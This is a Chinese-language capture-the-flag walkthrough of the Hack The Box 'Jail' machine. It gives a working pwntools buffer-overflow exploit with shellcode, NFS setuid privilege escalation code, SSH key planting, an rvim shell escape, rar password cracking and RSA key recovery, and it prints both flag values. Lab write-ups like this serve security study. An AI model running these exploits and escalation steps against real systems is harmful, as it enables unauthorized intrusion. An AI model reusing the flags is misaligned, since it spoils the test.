Jail機器所在鏈接:https://app.hackthebox.com/machines/45
要求掌握的技能:利用緩沖區(qū)溢出、枚舉NFS共享、逃逸SELinux沙箱、逃逸rvim、生成指定的字典文件、破解加密的rar文件密碼、根據(jù)RSA公鑰得到私鑰
——端口掃描
nmap掃描發(fā)現(xiàn)打開了如下端口:22、80、111、2049、7411、20048,開啟了ssh、http、nfs和某不知名的服務。
nmap -sC -sV -p- -T4 --min-rate=1000 -vv 10.129.8.83

——進一步探索NFS,發(fā)現(xiàn)/opt,/var/nfsshare共享
sudo nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.129.211.34

——搜索web目錄,發(fā)現(xiàn)jailuser目錄
gobuster dir -u http://10.129.211.34/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -t 100

jailuser/dev下有3個文件

——緩沖區(qū)溢出
從dev/中下載jail.c等文件,發(fā)現(xiàn)jail.c就是端口7411對應的程序。代碼中明顯存在緩沖區(qū)溢出漏洞

compile.sh將堆棧設置為可執(zhí)行:
gcc -o jail jail.c -m32 -z execstack

——利用緩沖區(qū)利用
確定要輸入多少個字符才能造成緩沖區(qū)溢出?
gdb調(diào)試jail程序
gdb ./jail -q
set detach-on-fork off?? #不讓父子進程脫離
set follow-fork-mode child?? #自動調(diào)試子進程
r
生成長度為50的模式字符,將這個模式字符作為PASS輸入
pattern create 50

nc localhost 7411
USER admin
PASS AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
EIP的數(shù)值停在了“AA;A”

確定模式字符的offset
pattern offset AA;A

即前面填充28個字符,后面跟上地址,EIP將跳轉(zhuǎn)到這里

然后我們可以很容易地寫出利用程序,但在寫該程序時遇到個問題。
問題:如果在python3下運行pwntools,執(zhí)行類似p32(0xffcfe9a0)語句返回的類型為bytes,exploit.py的內(nèi)容如下
mem = p32(0xffcfe9a0)
… …
payload = ""
payload += "A" * 28
payload += mem
payload += buf
… …
p.sendline("PASS " + payload)

解決辦法:
python3下會把p32(0xffcfe9a0)解析為bytes類型,而在python2下將p32(0xffcfe9a0)解析為str類型。因此上述腳本只能在python 2.7下運行。


總結(jié)一下就是:
1、使用python 2.7版本的pwntools
payload = "A"*28 +p32(0xffffd610+32)+ shellcode
2、使用python3版本的pwntools
payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode
需要將地址靜態(tài)寫成字符串形式,如果是動態(tài)獲取的地址就不知道怎么弄了。
——用pwntools寫緩沖區(qū)溢出利用程序
使用reuse socket類型的shellcode獲得連接
https://www.exploit-db.com/exploits/34060
from pwn import *
shellcode ="\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
payload = "A"*28 +"\x30\xd6\xff\xff" + shellcode
r = remote('10.129.113.11', 7411)
print(r.recv(1024))
r.sendline('USER admin')
print(r.recv(1024))
r.sendline('PASS ' + payload)
r.interactive()
注:ffffd610是連接遠程主機獲得的userpass的地址,每次不變。0xffffd610+32=ffffd630
問題:利用腳本中為什么要在泄露的地址處加上32?

解答:
從下面圖可以看到泄露的地址為0xffffc9b0,而執(zhí)行shellcode的地址不是0xffffc9b0,而是0xffffc9b0+32= 0xffffc9d0,28個字符+4字節(jié)地址=32

——獲得連接進入系統(tǒng)
輸入id,連接的用戶為nobody

context=system_u:system_r:unconfined_service_t:s0
這意味著我們進入了SELinux,它是一個內(nèi)核模塊,它通過監(jiān)控主機上發(fā)生的操作來增強安全控制。Context由用戶名、角色和域組成,為不同的用戶、角色或類型授予執(zhí)行某些操作的權限。
——掛載NFS共享
由于Jail開了2049端口,掛載的為NFS,前面已經(jīng)獲知有2個共享,我們分別掛載上
sudo mount -t nfs 10.129.8.31:/opt/mnt/jail/opt
sudo mount -t nfs 10.129.8.31:/var/nfsshare /mnt/jail/nfsshare

實際上,Jail 上并沒有kali組,而是遠程主機上 id為1000的組。在我的系統(tǒng)看到組ID 1000 時,它會查找該組的名稱,即kali,并使用它。

作為組 1000 的成員,我無法在此目錄中讀取,但可以寫入。
在Jail上可以看到,1000組對應為frank

用戶frank在以下/etc/passwd條目中

查看這些共享是如何掛載的
cat /etc/exports

root_squash意味著如果在本地以root身份運行,這將被視為Jail上的默認的nobody用戶,因此無法以root身份讀取文件。
——權限提升至用戶frank
掛載文件夾/var/nfsshare,使用戶kali成為組1000的一部分。以kali用戶身份設置的 Suid 位編寫和編譯二進制文件,在Jail上運行二進制文件以獲得frank身份。
touch /mnt/jail/nfsshare/bypass-id.c
#include?<stdio.h>
#include?<stdlib.h>
#include?<unistd.h>
int main( int argc, char *argv[] )
{
???????setreuid(1000, 1000);
???????printf("ID: %d\n", geteuid());
???????execve("/bin/bash", NULL, NULL);
}
gcc -o bypass-id -static bypass-id.c
chmod 4755 bypass-id

在Jail BOX上運行下述命令
/var/nfsshare/bypass-id
id由nobody變?yōu)閒rank

frank/.ssh下有authorized_keys文件

將id換成frank并不能將shell變?yōu)榻换ナ降?。因此我們可以生成公私鑰對,將公鑰拷貝到/home/frank/.ssh/authorized_keys中,然后就能以frank用戶登錄了。
ssh-keygen -f frank
cat frank-key.pub

echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIKhBarAcsp80FsTbn0mZUD+hLYktfklUxg11nnpo99Be
kali@kali" >> ~/.ssh/authorized_keys

ssh -i frank frank@10.129.8.31
提交用戶標志
944db90dfc039bf0a3abbee1ed44378a

——提權到root
查看sudo -l,logreader.sh沒有可利用的地方。發(fā)現(xiàn)可以adm運行jail.c

——切換到用戶adm
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c

在rvim輸入命令python import pty;pty.spawn("/bin/bash")可將用戶切換到adm
adm主目錄下有3個文件:note.txt、.frank、keys.rar

keys.rar包含root公鑰,需要解壓密碼才能解開
note.txt提示密碼為:Frank的姓+4個數(shù)字+1個字符

.frank的內(nèi)容如下,看不出任何含義
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
看著像是對字符進行了簡單移位,我們用https://quipqiup.com/進行解密

解密的結(jié)果為
Hahaha! Nobodywill guess my new password! Only a few lucky souls have Escaped from Alcatrazalive like I did!!!
哈哈哈!沒有人會猜到我的新密碼!只有少數(shù)幸運的人會像我一樣或者逃離惡魔島??!
從解密結(jié)果的字面意思,到谷歌上搜索從惡魔島逃離的人

顯示了3個人:
John Anglin、Clarence Anglin、Frank Morris

鑒于Jail上的用戶為frank,應該就是Frank Morris
從notes的內(nèi)容
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
猜到密碼可能為Morris+4個數(shù)字和1個字符
——使用hashcat生成字典
hashcat --stdout -a 3 Morris19?d?d?s > jail.words

生成的字典如下

用rar2john獲取keys.rar的hash,將其保存為jail.hash
rar2john keys.rar
vi jail.hash

用john和上面生成的字典破解rar文件的密碼,得到密碼為Morris1962!
john --wordlist=./jail.words ./jail.hash

用上述密碼解壓keys.rar
unrar x keys.rar
解壓出來的rootauthorizedsshkey.pub如下所示

安裝工具RsaCtfTool,由得到的公鑰獲取私鑰
/opt/RsaCtfTool/RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private

得到私鑰
問題:將私鑰拷貝到root.key,ssh登錄時提示需要輸入密碼?

解決辦法:
從提示信息“sign_and_send_pubkey: no mutual signature supported”可知,算法不再支持。
ssh-rsa已棄用。ssh-rsa自 OpenSSH 8.8 以來,簽名類型 (sha1) 已不受支持,并被替換為rsa-sha2-256或rsa-sha2-512(在 2016 年的 OpenSSH 7.2 中添加)。因此,在服務器升級之前,客戶端將需要ssh-rsa使用 PubkeyAcceptedKeyTypes 將已棄用的標記為允許。
ssh -i root.key root@10.129.8.83 -o PubkeyAcceptedKeyTypes=ssh-rsa
這樣就能進入ssh了。
——提交root標志
9d001091018c0a78c57b1f79b9afbc5f
